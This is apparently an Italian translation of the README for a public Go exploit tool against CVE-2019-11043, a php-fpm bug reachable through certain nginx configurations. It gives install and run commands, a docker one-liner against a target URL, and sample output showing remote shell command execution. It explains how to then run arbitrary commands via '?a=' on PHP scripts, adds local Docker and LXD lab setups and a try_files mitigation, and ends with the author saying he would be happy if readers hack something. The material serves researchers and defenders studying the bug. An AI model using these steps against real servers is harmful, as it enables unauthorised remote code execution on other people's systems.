
Exploit per CVE-2019-11043
Questo è un exploit per un bug in php-fpm (CVE-2019-11043). In alcune configurazioni nginx + php-fpm, il bug è possibile da innescare dall'esterno. Questo significa che un utente web potrebbe ottenere l'esecuzione di codice se hai una configurazione vulnerabile (vedi sotto).
Poiché eravamo troppo pigri per fare uno writeup, Orange Tsai ha pubblicato un'analisi perfetta nel suo blog. Complimenti a lui.
Inoltre, le mie slide di ZeroNights 2019 sono disponibili.
Se un webserver esegue nginx + php-fpm e nginx ha una configurazione come
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
che inoltre manca di qualsiasi controllo sull'esistenza degli script (come try_files), allora probabilmente puoi hackerarlo con questo sploit.
location ~ [^/]\.php(/|$) deve essere inoltrato a php-fpm (forse la regexp può essere più restrittiva, vedi #1).PATH_INFO tramite l'istruzione fastcgi_param PATH_INFO $fastcgi_path_info;. Inoltre SCRIPT_FILENAME deve essere impostato usando fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; (potrebbe esserci un percorso costante invece di $document_root). All'inizio pensavamo che queste fossero sempre presenti nel file fastcgi_params, ma non è vero.PATH_INFO a un valore vuoto. Questo exploit presuppone che la direttiva fastcgi_split_path_info sia presente e contenga una regexp che inizia con ^ e termina con $, quindi cerca di rompere la regexp con un carattere newline.Tanto tempo fa php-fpm non limitava le estensioni degli script, il che significava che qualcosa come /avatar.png/some-fake-shit.php poteva eseguire avatar.png come script PHP. Questo problema è stato corretto intorno al 2010.
Quello attuale non richiede l'upload di file, funziona nelle versioni più recenti (fino a quando la correzione non è stata distribuita) e, soprattutto, l'exploit è molto più figo.
Installalo usando
go get github.com/neex/phuip-fpizdam
Se ottieni strani errori di compilazione, assicurati di usare go >= 1.13. Esegui il programma usando phuip-fpizdam [url] (supponendo che tu abbia $GOPATH/bin dentro il tuo $PATH, altrimenti specifica il percorso completo del binario). Un buon output appare così:
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!
Dopo questo, puoi iniziare ad aggiungere ?a=<il tuo comando> a tutti gli script PHP (potresti aver bisogno di più tentativi).
In alternativa, puoi usare una immagine docker per eseguire l'exploit:
docker run --rm ypereirareis/cve-2019-11043 [url]
Se vuoi riprodurre il problema o giocare con l'exploit in locale tramite Docker, fai quanto segue:
reproducer.docker build -t reproduce-cve-2019-11043 .. Ci vuole molto tempo perché internamente clona il repository di php e lo compila dal sorgente. Tuttavia, sarà più facile così se vuoi fare debugging dell'exploit. La revisione compilata è quella subito prima della correzione.docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043.phuip-fpizdam http://127.0.0.1:8080/script.php?a= allo script: http://127.0.0.1:8080/script.php?a=id. Prova più volte poiché solo alcuni dei worker di php-fpm sono infettati.Se vuoi riprodurre il problema o giocare con l'exploit in locale tramite LXD, fai quanto segue:
vulnerable e attacker. Puoi usare l'immagine container ubuntu:18.04 per entrambi i container.vulnerable, installa nginx e php-fpm. Configura il server block come questa configurazione. Crea un file vuoto /var/www/html/index.php.attacker, installa il linguaggio Go (sudo snap install go --classic), clona questo repository, ed esegui go build nella directory del repository../phuip-fpizdam http://vulnerable.lxd/index.php. Prova più volte per infettare tutti i worker di php-fpm.Per istruzioni più dettagliate, vedi Testing CVE-2019-11043 (php-fpm security vulnerability) with LXD system containers.
L'underflow del buffer in php-fpm è presente nella versione 5 di PHP. Tuttavia, questo exploit usa un'ottimizzazione impiegata per memorizzare le variabili FastCGI, _fcgi_data_seg. Questa ottimizzazione è presente solo in php 7, quindi questo particolare exploit funziona solo con php 7. Potrebbe esserci un'altra tecnica di sfruttamento che funziona con php 5.
Anomalia originale scoperta da d90pwn durante la Real World CTF. Causa principale trovata da me (Emil Lerner) così come il modo per impostare le opzioni di php.ini. Il set finale di opzioni di php.ini è stato trovato da beched.
Questo exploit è distribuito secondo i termini della Licenza MIT.
Astieniti dal causare danni con questo exploit. Ma se davvero hackerai qualcosa con questa roba, ne sarò felice.
PATH_INFO sia impostato dopo REQUEST_URI nella configurazione.try_files $uri =404 o if (-f $uri). Se Nginx scarta le richieste a script inesistenti prima dell'inoltro a FastCGI, le nostre richieste non raggiungono mai php-fpm. Aggiungere questo è anche il modo più semplice per correggere la vulnerabilità.